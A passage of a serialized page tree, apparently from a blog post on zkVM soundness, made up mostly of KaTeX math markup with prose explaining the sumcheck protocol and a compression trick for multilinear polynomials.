lassName":111219},[6422],[111221,111241],{"type":24,"tag":90,"props":111222,"children":111224},{"className":111223,"style":94929},[6427],[111225],{"type":24,"tag":90,"props":111226,"children":111227},{"style":94933},[111228,111232],{"type":24,"tag":90,"props":111229,"children":111231},{"className":111230,"style":6437},[6436],[],{"type":24,"tag":90,"props":111233,"children":111235},{"className":111234},[6442,6443,6444,6445],[111236],{"type":24,"tag":90,"props":111237,"children":111239},{"className":111238},[6396,6445],[111240],{"type":29,"value":3191},{"type":24,"tag":90,"props":111242,"children":111244},{"className":111243},[23541],[111245],{"type":29,"value":23544},{"type":24,"tag":90,"props":111247,"children":111249},{"className":111248},[6422],[111250],{"type":24,"tag":90,"props":111251,"children":111253},{"className":111252,"style":94960},[6427],[111254],{"type":24,"tag":90,"props":111255,"children":111256},{},[],{"type":24,"tag":90,"props":111258,"children":111260},{"className":111259},[6507],[111261],{"type":29,"value":6510},{"type":24,"tag":90,"props":111263,"children":111265},{"className":111264,"style":6514},[6475],[],{"type":24,"tag":90,"props":111267,"children":111269},{"className":111268},[110967],[111270],{"type":29,"value":111271},"…",{"type":24,"tag":90,"props":111273,"children":111275},{"className":111274,"style":6514},[6475],[],{"type":24,"tag":90,"props":111277,"children":111279},{"className":111278},[6507],[111280],{"type":29,"value":6510},{"type":24,"tag":90,"props":111282,"children":111284},{"className":111283,"style":6514},[6475],[],{"type":24,"tag":90,"props":111286,"children":111288},{"className":111287},[6396],[111289,111294],{"type":24,"tag":90,"props":111290,"children":111292},{"className":111291},[6396,23384],[111293],{"type":29,"value":21070},{"type":24,"tag":90,"props":111295,"children":111297},{"className":111296},[6412],[111298],{"type":24,"tag":90,"props":111299,"children":111301},{"className":111300},[6417,23438],[111302,111332],{"type":24,"tag":90,"props":111303,"children":111305},{"className":111304},[6422],[111306,111327],{"type":24,"tag":90,"props":111307,"children":111310},{"className":111308,"style":111309},[6427],"height:0.1514em;",[111311],{"type":24,"tag":90,"props":111312,"children":111313},{"style":94933},[111314,111318],{"type":24,"tag":90,"props":111315,"children":111317},{"className":111316,"style":6437},[6436],[],{"type":24,"tag":90,"props":111319,"children":111321},{"className":111320},[6442,6443,6444,6445],[111322],{"type":24,"tag":90,"props":111323,"children":111325},{"className":111324},[6396,23384,6445],[111326],{"type":29,"value":58228},{"type":24,"tag":90,"props":111328,"children":111330},{"className":111329},[23541],[111331],{"type":29,"value":23544},{"type":24,"tag":90,"props":111333,"children":111335},{"className":111334},[6422],[111336],{"type":24,"tag":90,"props":111337,"children":111339},{"className":111338,"style":94960},[6427],[111340],{"type":24,"tag":90,"props":111341,"children":111342},{},[],{"type":24,"tag":90,"props":111344,"children":111346},{"className":111345},[23535],[111347],{"type":29,"value":517},{"type":24,"tag":25,"props":111349,"children":111350},{},[111351,111353,111414],{"type":29,"value":111352},"The naive approach would be for the verifier to compute all ",{"type":24,"tag":32,"props":111354,"children":111356},{"className":111355},[6368,6369],[111357],{"type":24,"tag":90,"props":111358,"children":111360},{"className":111359},[6374],[111361],{"type":24,"tag":90,"props":111362,"children":111364},{"className":111363,"ariaHidden":6380},[6379],[111365],{"type":24,"tag":90,"props":111366,"children":111368},{"className":111367},[6385],[111369,111373],{"type":24,"tag":90,"props":111370,"children":111372},{"className":111371,"style":110594},[6390],[],{"type":24,"tag":90,"props":111374,"children":111376},{"className":111375},[6396],[111377,111382],{"type":24,"tag":90,"props":111378,"children":111380},{"className":111379},[6396],[111381],{"type":29,"value":3191},{"type":24,"tag":90,"props":111383,"children":111385},{"className":111384},[6412],[111386],{"type":24,"tag":90,"props":111387,"children":111389},{"className":111388},[6417],[111390],{"type":24,"tag":90,"props":111391,"children":111393},{"className":111392},[6422],[111394],{"type":24,"tag":90,"props":111395,"children":111397},{"className":111396,"style":110594},[6427],[111398],{"type":24,"tag":90,"props":111399,"children":111400},{"style":6431},[111401,111405],{"type":24,"tag":90,"props":111402,"children":111404},{"className":111403,"style":6437},[6436],[],{"type":24,"tag":90,"props":111406,"children":111408},{"className":111407},[6442,6443,6444,6445],[111409],{"type":24,"tag":90,"props":111410,"children":111412},{"className":111411},[6396,23384,6445],[111413],{"type":29,"value":58228},{"type":29,"value":111415}," evaluations. This is exponentially expensive.",{"type":24,"tag":25,"props":111417,"children":111418},{},[111419,111421,111426],{"type":29,"value":111420},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":24,"tag":7711,"props":111422,"children":111423},{},[111424],{"type":29,"value":111425},"only one",{"type":29,"value":226},{"type":24,"tag":25,"props":111428,"children":111429},{},[111430],{"type":24,"tag":6301,"props":111431,"children":111434},{"alt":111432,"src":111433},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":24,"tag":25,"props":111436,"children":111437},{},[111438,111440,111532,111534,111719,111721,111746,111748,111826,111828,111907],{"type":29,"value":111439},"In each round, the prover must send a polynomial ",{"type":24,"tag":32,"props":111441,"children":111443},{"className":111442},[6368,6369],[111444],{"type":24,"tag":90,"props":111445,"children":111447},{"className":111446},[6374],[111448],{"type":24,"tag":90,"props":111449,"children":111451},{"className":111450,"ariaHidden":6380},[6379],[111452],{"type":24,"tag":90,"props":111453,"children":111455},{"className":111454},[6385],[111456,111460,111517,111522,111527],{"type":24,"tag":90,"props":111457,"children":111459},{"className":111458,"style":6496},[6390],[],{"type":24,"tag":90,"props":111461,"children":111463},{"className":111462},[6396],[111464,111469],{"type":24,"tag":90,"props":111465,"children":111467},{"className":111466,"style":95363},[6396,23384],[111468],{"type":29,"value":111128},{"type":24,"tag":90,"props":111470,"children":111472},{"className":111471},[6412],[111473],{"type":24,"tag":90,"props":111474,"children":111476},{"className":111475},[6417,23438],[111477,111506],{"type":24,"tag":90,"props":111478,"children":111480},{"className":111479},[6422],[111481,111501],{"type":24,"tag":90,"props":111482,"children":111484},{"className":111483,"style":95406},[6427],[111485],{"type":24,"tag":90,"props":111486,"children":111487},{"style":95410},[111488,111492],{"type":24,"tag":90,"props":111489,"children":111491},{"className":111490,"style":6437},[6436],[],{"type":24,"tag":90,"props":111493,"children":111495},{"className":111494},[6442,6443,6444,6445],[111496],{"type":24,"tag":90,"props":111497,"children":111499},{"className":111498},[6396,23384,6445],[111500],{"type":29,"value":6123},{"type":24,"tag":90,"props":111502,"children":111504},{"className":111503},[23541],[111505],{"type":29,"value":23544},{"type":24,"tag":90,"props":111507,"children":111509},{"className":111508},[6422],[111510],{"type":24,"tag":90,"props":111511,"children":111513},{"className":111512,"style":94960},[6427],[111514],{"type":24,"tag":90,"props":111515,"children":111516},{},[],{"type":24,"tag":90,"props":111518,"children":111520},{"className":111519},[23513],[111521],{"type":29,"value":117},{"type":24,"tag":90,"props":111523,"children":111525},{"className":111524,"style":96897},[6396,23384],[111526],{"type":29,"value":8518},{"type":24,"tag":90,"props":111528,"children":111530},{"className":111529},[23535],[111531],{"type":29,"value":517},{"type":29,"value":111533}," such that ",{"type":24,"tag":32,"props":111535,"children":111537},{"className":111536},[6368,6369],[111538],{"type":24,"tag":90,"props":111539,"children":111541},{"className":111540},[6374],[111542],{"type":24,"tag":90,"props":111543,"children":111545},{"className":111544,"ariaHidden":6380},[6379],[111546,111639],{"type":24,"tag":90,"props":111547,"children":111549},{"className":111548},[6385],[111550,111554,111611,111616,111621,111626,111630,111635],{"type":24,"tag":90,"props":111551,"children":111553},{"className":111552,"style":6496},[6390],[],{"type":24,"tag":90,"props":111555,"children":111557},{"className":111556},[6396],[111558,111563],{"type":24,"tag":90,"props":111559,"children":111561},{"className":111560,"style":95363},[6396,23384],[111562],{"type":29,"value":111128},{"type":24,"tag":90,"props":111564,"children":111566},{"className":111565},[6412],[111567],{"type":24,"tag":90,"props":111568,"children":111570},{"className":111569},[6417,23438],[111571,111600],{"type":24,"tag":90,"props":111572,"children":111574},{"className":111573},[6422],[111575,111595],{"type":24,"tag":90,"props":111576,"children":111578},{"className":111577,"style":95406},[6427],[111579],{"type":24,"tag":90,"props":111580,"children":111581},{"style":95410},[111582,111586],{"type":24,"tag":90,"props":111583,"children":111585},{"className":111584,"style":6437},[6436],[],{"type":24,"tag":90,"props":111587,"children":111589},{"className":111588},[6442,6443,6444,6445],[111590],{"type":24,"tag":90,"props":111591,"children":111593},{"className":111592},[6396,23384,6445],[111594],{"type":29,"value":6123},{"type":24,"tag":90,"props":111596,"children":111598},{"className":111597},[23541],[111599],{"type":29,"value":23544},{"type":24,"tag":90,"props":111601,"children":111603},{"className":111602},[6422],[111604],{"type":24,"tag":90,"props":111605,"children":111607},{"className":111606,"style":94960},[6427],[111608],{"type":24,"tag":90,"props":111609,"children":111610},{},[],{"type":24,"tag":90,"props":111612,"children":111614},{"className":111613},[23513],[111615],{"type":29,"value":117},{"type":24,"tag":90,"props":111617,"children":111619},{"className":111618},[6396],[111620],{"type":29,"value":6408},{"type":24,"tag":90,"props":111622,"children":111624},{"className":111623},[23535],[111625],{"type":29,"value":517},{"type":24,"tag":90,"props":111627,"children":111629},{"className":111628,"style":6476},[6475],[],{"type":24,"tag":90,"props":111631,"children":111633},{"className":111632},[6481],[111634],{"type":29,"value":6767},{"type":24,"tag":90,"props":111636,"children":111638},{"className":111637,"style":6476},[6475],[],{"type":24,"tag":90,"props":111640,"children":111642},{"className":111641},[6385],[111643,111647,111704,111709,111714],{"type":24,"tag":90,"props":111644,"children":111646},{"className":111645,"style":6496},[6390],[],{"type":24,"tag":90,"props":111648,"children":111650},{"className":111649},[6396],[111651,111656],{"type":24,"tag":90,"props":111652,"children":111654},{"className":111653,"style":95363},[6396,23384],[111655],{"type":29,"value":111128},{"type":24,"tag":90,"props":111657,"children":111659},{"className":111658},[6412],[111660],{"type":24,"tag":90,"props":111661,"children":111663},{"className":111662},[6417,23438],[111664,111693],{"type":24,"tag":90,"props":111665,"children":111667},{"className":111666},[6422],[111668,111688],{"type":24,"tag":90,"props":111669,"children":111671},{"className":111670,"style":95406},[6427],[111672],{"type":24,"tag":90,"props":111673,"children":111674},{"style":95410},[111675,111679],{"type":24,"tag":90,"props":111676,"children":111678},{"className":111677,"style":6437},[6436],[],{"type":24,"tag":90,"props":111680,"children":111682},{"className":111681},[6442,6443,6444,6445],[111683],{"type":24,"tag":90,"props":111684,"children":111686},{"className":111685},[6396,23384,6445],[111687],{"type":29,"value":6123},{"type":24,"tag":90,"props":111689,"children":111691},{"className":111690},[23541],[111692],{"type":29,"value":23544},{"type":24,"tag":90,"props":111694,"children":111696},{"className":111695},[6422],[111697],{"type":24,"tag":90,"props":111698,"children":111700},{"className":111699,"style":94960},[6427],[111701],{"type":24,"tag":90,"props":111702,"children":111703},{},[],{"type":24,"tag":90,"props":111705,"children":111707},{"className":111706},[23513],[111708],{"type":29,"value":117},{"type":24,"tag":90,"props":111710,"children":111712},{"className":111711},[6396],[111713],{"type":29,"value":534},{"type":24,"tag":90,"props":111715,"children":111717},{"className":111716},[23535],[111718],{"type":29,"value":517},{"type":29,"value":111720}," equals the previous claim. If the prover is lying about the original sum ",{"type":24,"tag":32,"props":111722,"children":111724},{"className":111723},[6368,6369],[111725],{"type":24,"tag":90,"props":111726,"children":111728},{"className":111727},[6374],[111729],{"type":24,"tag":90,"props":111730,"children":111732},{"className":111731,"ariaHidden":6380},[6379],[111733],{"type":24,"tag":90,"props":111734,"children":111736},{"className":111735},[6385],[111737,111741],{"type":24,"tag":90,"props":111738,"children":111740},{"className":111739,"style":23379},[6390],[],{"type":24,"tag":90,"props":111742,"children":111744},{"className":111743,"style":95111},[6396,23384],[111745],{"type":29,"value":95114},{"type":29,"value":111747},", then they must lie about ",{"type":24,"tag":32,"props":111749,"children":111751},{"className":111750},[6368,6369],[111752],{"type":24,"tag":90,"props":111753,"children":111755},{"className":111754},[6374],[111756],{"type":24,"tag":90,"props":111757,"children":111759},{"className":111758,"ariaHidden":6380},[6379],[111760],{"type":24,"tag":90,"props":111761,"children":111763},{"className":111762},[6385],[111764,111769],{"type":24,"tag":90,"props":111765,"children":111768},{"className":111766,"style":111767},[6390],"height:0.625em;vertical-align:-0.1944em;",[],{"type":24,"tag":90,"props":111770,"children":111772},{"className":111771},[6396],[111773,111778],{"type":24,"tag":90,"props":111774,"children":111776},{"className":111775,"style":95363},[6396,23384],[111777],{"type":29,"value":111128},{"type":24,"tag":90,"props":111779,"children":111781},{"className":111780},[6412],[111782],{"type":24,"tag":90,"props":111783,"children":111785},{"className":111784},[6417,23438],[111786,111815],{"type":24,"tag":90,"props":111787,"children":111789},{"className":111788},[6422],[111790,111810],{"type":24,"tag":90,"props":111791,"children":111793},{"className":111792,"style":95406},[6427],[111794],{"type":24,"tag":90,"props":111795,"children":111796},{"style":95410},[111797,111801],{"type":24,"tag":90,"props":111798,"children":111800},{"className":111799,"style":6437},[6436],[],{"type":24,"tag":90,"props":111802,"children":111804},{"className":111803},[6442,6443,6444,6445],[111805],{"type":24,"tag":90,"props":111806,"children":111808},{"className":111807},[6396,23384,6445],[111809],{"type":29,"value":6123},{"type":24,"tag":90,"props":111811,"children":111813},{"className":111812},[23541],[111814],{"type":29,"value":23544},{"type":24,"tag":90,"props":111816,"children":111818},{"className":111817},[6422],[111819],{"type":24,"tag":90,"props":111820,"children":111822},{"className":111821,"style":94960},[6427],[111823],{"type":24,"tag":90,"props":111824,"children":111825},{},[],{"type":29,"value":111827}," somewhere. But since the verifier picks a random ",{"type":24,"tag":32,"props":111829,"children":111831},{"className":111830},[6368,6369],[111832],{"type":24,"tag":90,"props":111833,"children":111835},{"className":111834},[6374],[111836],{"type":24,"tag":90,"props":111837,"children":111839},{"className":111838,"ariaHidden":6380},[6379],[111840],{"type":24,"tag":90,"props":111841,"children":111843},{"className":111842},[6385],[111844,111849],{"type":24,"tag":90,"props":111845,"children":111848},{"className":111846,"style":111847},[6390],"height:0.5806em;vertical-align:-0.15em;",[],{"type":24,"tag":90,"props":111850,"children":111852},{"className":111851},[6396],[111853,111858],{"type":24,"tag":90,"props":111854,"children":111856},{"className":111855,"style":94877},[6396,23384],[111857],{"type":29,"value":95696},{"type":24,"tag":90,"props":111859,"children":111861},{"className":111860},[6412],[111862],{"type":24,"tag":90,"props":111863,"children":111865},{"className":111864},[6417,23438],[111866,111896],{"type":24,"tag":90,"props":111867,"children":111869},{"className":111868},[6422],[111870,111891],{"type":24,"tag":90,"props":111871,"children":111873},{"className":111872,"style":95406},[6427],[111874],{"type":24,"tag":90,"props":111875,"children":111877},{"style":111876},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[111878,111882],{"type":24,"tag":90,"props":111879,"children":111881},{"className":111880,"style":6437},[6436],[],{"type":24,"tag":90,"props":111883,"children":111885},{"className":111884},[6442,6443,6444,6445],[111886],{"type":24,"tag":90,"props":111887,"children":111889},{"className":111888},[6396,23384,6445],[111890],{"type":29,"value":6123},{"type":24,"tag":90,"props":111892,"children":111894},{"className":111893},[23541],[111895],{"type":29,"value":23544},{"type":24,"tag":90,"props":111897,"children":111899},{"className":111898},[6422],[111900],{"type":24,"tag":90,"props":111901,"children":111903},{"className":111902,"style":94960},[6427],[111904],{"type":24,"tag":90,"props":111905,"children":111906},{},[],{"type":29,"value":111908},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":24,"tag":20686,"props":111910,"children":111912},{"id":111911},"the-compression-trick",[111913],{"type":29,"value":111914},"The Compression Trick",{"type":24,"tag":25,"props":111916,"children":111917},{},[111918,111920,112070,112072,112352],{"type":29,"value":111919},"For degree-1 (multilinear) polynomials, ",{"type":24,"tag":32,"props":111921,"children":111923},{"className":111922},[6368,6369],[111924],{"type":24,"tag":90,"props":111925,"children":111927},{"className":111926},[6374],[111928],{"type":24,"tag":90,"props":111929,"children":111931},{"className":111930,"ariaHidden":6380},[6379],[111932,112025,112052],{"type":24,"tag":90,"props":111933,"children":111935},{"className":111934},[6385],[111936,111940,111997,112002,112007,112012,112016,112021],{"type":24,"tag":90,"props":111937,"children":111939},{"className":111938,"style":6496},[6390],[],{"type":24,"tag":90,"props":111941,"children":111943},{"className":111942},[6396],[111944,111949],{"type":24,"tag":90,"props":111945,"children":111947},{"className":111946,"style":95363},[6396,23384],[111948],{"type":29,"value":111128},{"type":24,"tag":90,"props":111950,"children":111952},{"className":111951},[6412],[111953],{"type":24,"tag":90,"props":111954,"children":111956},{"className":111955},[6417,23438],[111957,111986],{"type":24,"tag":90,"props":111958,"children":111960},{"className":111959},[6422],[111961,111981],{"type":24,"tag":90,"props":111962,"children":111964},{"className":111963,"style":95406},[6427],[111965],{"type":24,"tag":90,"props":111966,"children":111967},{"style":95410},[111968,111972],{"type":24,"tag":90,"props":111969,"children":111971},{"className":111970,"style":6437},[6436],[],{"type":24,"tag":90,"props":111973,"children":111975},{"className":111974},[6442,6443,6444,6445],[111976],{"type":24,"tag":90,"props":111977,"children":111979},{"className":111978},[6396,23384,6445],[111980],{"type":29,"value":6123},{"type":24,"tag":90,"props":111982,"children":111984},{"className":111983},[23541],[111985],{"type":29,"value":23544},{"type":24,"tag":90,"props":111987,"children":111989},{"className":111988},[6422],[111990],{"type":24,"tag":90,"props":111991,"children":111993},{"className":111992,"style":94960},[6427],[111994],{"type":24,"tag":90,"props":111995,"children":111996},{},[],{"type":24,"tag":90,"props":111998,"children":112000},{"className":111999},[23513],[112001],{"type":29,"value":117},{"type":24,"tag":90,"props":112003,"children":112005},{"className":112004,"style":96897},[6396,23384],[112006],{"type":29,"value":8518},{"type":24,"tag":90,"props":112008,"children":112010},{"className":112009},[23535],[112011],{"type":29,"value":517},{"type":24,"tag":90,"props":112013,"children":112015},{"className":112014,"style":6573},[6475],[],{"type":24,"tag":90,"props":112017,"children":112019},{"className":112018},[6578],[112020],{"type":29,"value":5491},{"type":24,"tag":90,"props":112022,"children":112024},{"className":112023,"style":6573},[6475],[],{"type":24,"tag":90,"props":112026,"children":112028},{"className":112027},[6385],[112029,112034,112039,112043,112048],{"type":24,"tag":90,"props":112030,"children":112033},{"className":112031,"style":112032},[6390],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":24,"tag":90,"props":112035,"children":112037},{"className":112036},[6396,23384],[112038],{"type":29,"value":69},{"type":24,"tag":90,"props":112040,"children":112042},{"className":112041,"style":6476},[6475],[],{"type":24,"tag":90,"props":112044,"children":112046},{"className":112045},[6481],[112047],{"type":29,"value":6767},{"type":24,"tag":90,"props":112049,"children":112051},{"className":112050,"style":6476},[6475],[],{"type":24,"tag":90,"props":112053,"children":112055},{"className":112054},[6385],[112056,112060,112065],{"type":24,"tag":90,"props":112057,"children":112059},{"className":112058,"style":94792},[6390],[],{"type":24,"tag":90,"props":112061,"children":112063},{"className":112062},[6396,23384],[112064],{"type":29,"value":5617},{"type":24,"tag":90,"props":112066,"children":112068},{"className":112067,"style":96897},[6396,23384],[112069],{"type":29,"value":8518},{"type":29,"value":112071}," has only two coefficients. Since the verifier knows ",{"type":24,"tag":32,"props":112073,"children":112075},{"className":112074},[6368,6369],[112076],{"type":24,"tag":90,"props":112077,"children":112079},{"className":112078},[6374],[112080],{"type":24,"tag":90,"props":112081,"children":112083},{"className":112082,"ariaHidden":6380},[6379],[112084,112177,112270],{"type":24,"tag":90,"props":112085,"children":112087},{"className":112086},[6385],[112088,112092,112149,112154,112159,112164,112168,112173],{"type":24,"tag":90,"props":112089,"children":112091},{"className":112090,"style":6496},[6390],[],{"type":24,"tag":90,"props":112093,"children":112095},{"className":112094},[6396],[112096,112101],{"type":24,"tag":90,"props":112097,"children":112099},{"className":112098,"style":95363},[6396,23384],[112100],{"type":29,"value":111128},{"type":24,"tag":90,"props":112102,"children":112104},{"className":112103},[6412],[112105],{"type":24,"tag":90,"props":112106,"children":112108},{"className":112107},[6417,23438],[112109,112138],{"type":24,"tag":90,"props":112110,"children":112112},{"className":112111},[6422],[112113,112133],{"type":24,"tag":90,"props":112114,"children":112116},{"className":112115,"style":95406},[6427],[112117],{"type":24,"tag":90,"props":112118,"children":112119},{"style":95410},[112120,112124],{"type":24,"tag":90,"props":112121,"children":112123},{"className":112122,"style":6437},[6436],[],{"type":24,"tag":90,"props":112125,"children":112127},{"className":112126},[6442,6443,6444,6445],[112128],{"type":24,"tag":90,"props":112129,"children":112131},{"className":112130},[6396,23384,6445],[112132],{"type":29,"value":6123},{"type":24,"tag":90,"props":112134,"children":112136},{"className":112135},[23541],[112137],{"type":29,"value":23544},{"type":24,"tag":90,"props":112139,"children":112141},{"className":112140},[6422],[112142],{"type":24,"tag":90,"props":112143,"children":112145},{"className":112144,"style":94960},[6427],[112146],{"type":24,"tag":90,"props":112147,"children":112148},{},[],{"type":24,"tag":90,"props":112150,"children":112152},{"className":112151},[23513],[112153],{"type":29,"value":117},{"type":24,"tag":90,"props":112155,"children":112157},{"className":112156},[6396],[112158],{"type":29,"value":6408},{"type":24,"tag":90,"props":112160,"children":112162},{"className":112161},[23535],[112163],{"type":29,"value":517},{"type":24,"tag":90,"props":112165,"children":112167},{"className":112166,"style":6476},[6475],[],{"type":24,"tag":90,"props":112169,"children":112171},{"className":112170},[6481],[112172],{"type":29,"value":6767},{"type":24,"tag":90,"props":112174,"children":112176},{"className":112175,"style":6476},[6475],[],{"type":24,"tag":90,"props":112178,"children":112180},{"className":112179},[6385],[112181,112185,112242,112247,112252,112257,112261,112266],{"type":24,"tag":90,"props":112182,"children":112184},{"className":112183,"style":6496},[6390],[],{"type":24,"tag":90,"props":112186,"children":112188},{"className":112187},[6396],[112189,112194],{"type":24,"tag":90,"props":112190,"children":112192},{"className":112191,"style":95363},[6396,23384],[112193],{"type":29,"value":111128},{"type":24,"tag":90,"props":112195,"children":112197},{"className":112196},[6412],[112198],{"type":24,"tag":90,"props":112199,"children":112201},{"className":112200},[6417,23438],[112202,112231],{"type":24,"tag":90,"props":112203,"children":112205},{"className":112204},[6422],[112206,112226],{"type":24,"tag":90,"props":112207,"children":112209},{"className":112208,"style":95406},[6427],[112210],{"type":24,"tag":90,"props":112211,"children":112212},{"style":95410},[112213,112217],{"type":24,"tag":90,"props":112214,"children":112216},{"className":112215,"style":6437},[6436],[],{"type":24,"tag":90,"props":112218,"children":112220},{"className":112219},[6442,6443,6444,6445],[112221],{"type":24,"tag":90,"props":112222,"children":112224},{"className":112223},[6396,23384,6445],[112225],{"type":29,"value":6123},{"type":24,"tag":90,"props":112227,"children":112229},{"className":112228},[23541],[112230],{"type":29,"value":23544},{"type":24,"tag":90,"props":112232,"children":112234},{"className":112233},[6422],[112235],{"type":24,"tag":90,"props":112236,"children":112238},{"className":112237,"style":94960},[6427],[112239],{"type":24,"tag":90,"props":112240,"children":112241},{},[],{"type":24,"tag":90,"props":112243,"children":112245},{"className":112244},[23513],[112246],{"type":29,"value":117},{"type":24,"tag":90,"props":112248,"children":112250},{"className":112249},[6396],[112251],{"type":29,"value":534},{"type":24,"tag":90,"props":112253,"children":112255},{"className":112254},[23535],[112256],{"type":29,"value":517},{"type":24,"tag":90,"props":112258,"children":112260},{"className":112259,"style":6573},[6475],[],{"type":24,"tag":90,"props":112262,"children":112264},{"className":112263},[6578],[112265],{"type":29,"value":5491},{"type":24,"tag":90,"props":112267,"children":112269},{"className":112268,"style":6573},[6475],[],{"type":24,"tag":90,"props":112271,"children":112273},{"className":112272},[6385],[112274,112279],{"type":24,"tag":90,"props":112275,"children":112278},{"className":112276,"style":112277},[6390],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":24,"tag":90,"props":112280,"children":112282},{"className":112281},[6396],[112283,112288],{"type":24,"tag":90,"props":112284,"children":112286},{"className":112285,"style":95111},[6396,23384],[112287],{"type":29,"value":95114},{"type":24,"tag":90,"props":112289,"children":112291},{"className":112290},[6412],[112292],{"type":24,"tag":90,"props":112293,"children":112295},{"className":112294},[6417,23438],[112296,112340],{"type":24,"tag":90,"props":112297,"children":112299},{"className":112298},[6422],[112300,112335],{"type":24,"tag":90,"props":112301,"children":112303},{"className":112302,"style":95406},[6427],[112304],{"type":24,"tag":90,"props":112305,"children":112307},{"style":112306},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[112308,112312],{"type":24,"tag":90,"props":112309,"children":112311},{"className":112310,"style":6437},[6436],[],{"type":24,"tag":90,"props":112313,"children":112315},{"className":112314},[6442,6443,6444,6445],[112316],{"type":24,"tag":90,"props":112317,"children":112319},{"className":112318},[6396,6445],[112320,112325,112330],{"type":24,"tag":90,"props":112321,"children":112323},{"className":112322},[6396,23384,6445],[112324],{"type":29,"value":6123},{"type":24,"tag":90,"props":112326,"children":112328},{"className":112327},[6481,6445],[112329],{"type":29,"value":6456},{"type":24,"tag":90,"props":112331,"children":112333},{"className":112332},[6396,6445],[112334],{"type":29,"value":534},{"type":24,"tag":90,"props":112336,"children":112338},{"className":112337},[23541],[112339],{"type":29,"value":23544},{"type":24,"tag":90,"props":112341,"children":112343},{"className":112342},[6422],[112344],{"type":24,"tag":90,"props":112345,"children":112348},{"className":112346,"style":112347},[6427],"height:0.2083em;",[112349],{"type":24,"tag":90,"props":112350,"children":112351},{},[],{"type":29,"value":112353}," (the previous claim), we have:",{"type":24,"tag":25,"props":112355,"children":112356},{},[112357],{"type":24,"tag":32,"props":112358,"children":112360},{"className":112359},[6368,6369],[112361],{"type":24,"tag":90,"props":112362,"children":112364},{"className":112363},[6374],[112365],{"type":24,"tag":90,"props":112366,"children":112368},{"className":112367,"ariaHidden":6380},[6379],[112369,112395,112426,112457,112558,112584,112676],{"type":24,"tag":90,"props":112370,"children":112372},{"className":112371},[6385],[112373,112377,112382,112386,112391],{"type":24,"tag":90,"props":112374,"children":112376},{"className":112375,"style":112032},[6390],[],{"type":24,"tag":90,"props":112378,"children":112380},{"className":112379},[6396,23384],[112381],{"type":29,"value":69},{"type":24,"tag":90,"props":112383,"children":112385},{"className":112384,"style":6476},[6475],[],{"type":24,"tag":90,"props":112387,"children":112389},{"className":112388},[6481],[112390],{"type":29,"value":6767},{"type":24,"tag":90,"props":112392,"children":112394},{"className":112393,"style":6476},[6475],[],{"type":24,"tag":90,"props":112396,"children":112398},{"className":112397},[6385],[112399,112403,112408,112413,112417,112422],{"type":24,"tag":90,"props":112400,"children":112402},{"className":112401,"style":6496},[6390],[],{"type":24,"tag":90,"props":112404,"children":112406},{"className":112405},[23513],[112407],{"type":29,"value":117},{"type":24,"tag":90,"props":112409,"children":112411},{"className":112410},[6396,23384],[112412],{"type":29,"value":69},{"type":24,"tag":90,"props":112414,"children":112416},{"className":112415,"style":6476},[6475],[],{"type":24,"tag":90,"props":112418,"children":112420},{"className":112419},[6481],[112421],{"type":29,"value":6767},{"type":24,"tag":90,"props":112423,"children":112425},{"className":112424,"style":6476},[6475],[],{"type":24,"tag":90,"props":112427,"children":112429},{"className":112428},[6385],[112430,112434,112439,112444,112448,112453],{"type":24,"tag":90,"props":112431,"children":112433},{"className":112432,"style":6496},[6390],[],{"type":24,"tag":90,"props":112435,"children":112437},{"className":112436},[6396,23384],[112438],{"type":29,"value":5617},{"type":24,"tag":90,"props":112440,"children":112442},{"className":112441},[23535],[112443],{"type":29,"value":517},{"type":24,"tag":90,"props":112445,"children":112447},{"className":112446,"style":6573},[6475],[],{"type":24,"tag":90,"props":112449,"children":112451},{"className":112450},[6578],[112452],{"type":29,"value":5491},{"type":24,"tag":90,"props":112454,"children":112456},{"className":112455,"style":6573},[6475],[],{"type":24,"tag":90,"props":112458,"children":112460},{"className":112459},[6385],[112461,112465,112536,112540,112544,112550,112554],{"type":24,"tag":90,"props":112462,"children":112464},{"className":112463,"style":112277},[6390],[],{"type":24,"tag":90,"props":112466,"children":112468},{"className":112467},[6396],[112469,112474],{"type":24,"tag":90,"props":112470,"children":112472},{"className":112471,"style":95111},[6396,23384],[112473],{"type":29,"value":95114},{"type":24,"tag":90,"props":112475,"children":112477},{"className":112476},[6412],[112478],{"type":24,"tag":90,"props":112479,"children":112481},{"className":112480},[6417,23438],[112482,112525],{"type":24,"tag":90,"props":112483,"children":112485},{"className":112484},[6422],[112486,112520],{"type":24,"tag":90,"props":112487,"children":112489},{"className":112488,"style":95406},[6427],[112490],{"type":24,"tag":90,"props":112491,"children":112492},{"style":112306},[112493,112497],{"type":24,"tag":90,"props":112494,"children":112496},{"className":112495,"style":6437},[6436],[],{"type":24,"tag":90,"props":112498,"children":112500},{"className":112499},[6442,6443,6444,6445],[112501],{"type":24,"tag":90,"props":112502,"children":112504},{"className":112503},[6396,6445],[112505,112510,112515],{"type":24,"tag":90,"props":112506,"children":112508},{"className":112507},[6396,23384,6445],[112509],{"type":29,"value":6123},{"type":24,"tag":90,"props":112511,"children":112513},{"className":112512},[6481,6445],[112514],{"type":29,"value":6456},{"type":24,"tag":90,"props":112516,"children":112518},{"className":112517},[6396,6445],[112519],{"type":29,"value":534},{"type":24,"tag":90,"props":112521,"children":112523},{"className":112522},[23541],[112524],{"type":29,"value":23544},{"type":24,"tag":90,"props":112526,"children":112528},{"className":112527},[6422],[112529],{"type":24,"tag":90,"props":112530,"children":112532},{"className":112531,"style":112347},[6427],[112533],{"type":24,"tag":90,"props":112534,"children":112535},{},[],{"type":24,"tag":90,"props":112537,"children":112539},{"className":112538,"style":6573},[6475],[],{"type":24,"tag":90,"props":112541,"children":112543},{"className":112542,"style":6573},[6475],[],{"type":24,"tag":90,"props":112545,"children":112547},{"className":112546},[6578],[112548],{"type":29,"value":112549},"⟹",{"type":24,"tag":90,"props":112551,"children":112553},{"className":112552,"style":6573},[6475],[],{"type":24,"tag":90,"props":112555,"children":112557},{"className":112556,"style":6573},[6475],[],{"type":24,"tag":90,"props":112559,"children":112561},{"className":112560},[6385],[112562,112566,112571,112575,112580],{"type":24,"tag":90,"props":112563,"children":112565},{"className":112564,"style":94792},[6390],[],{"type":24,"tag":90,"props":112567,"children":112569},{"className":112568},[6396,23384],[112570],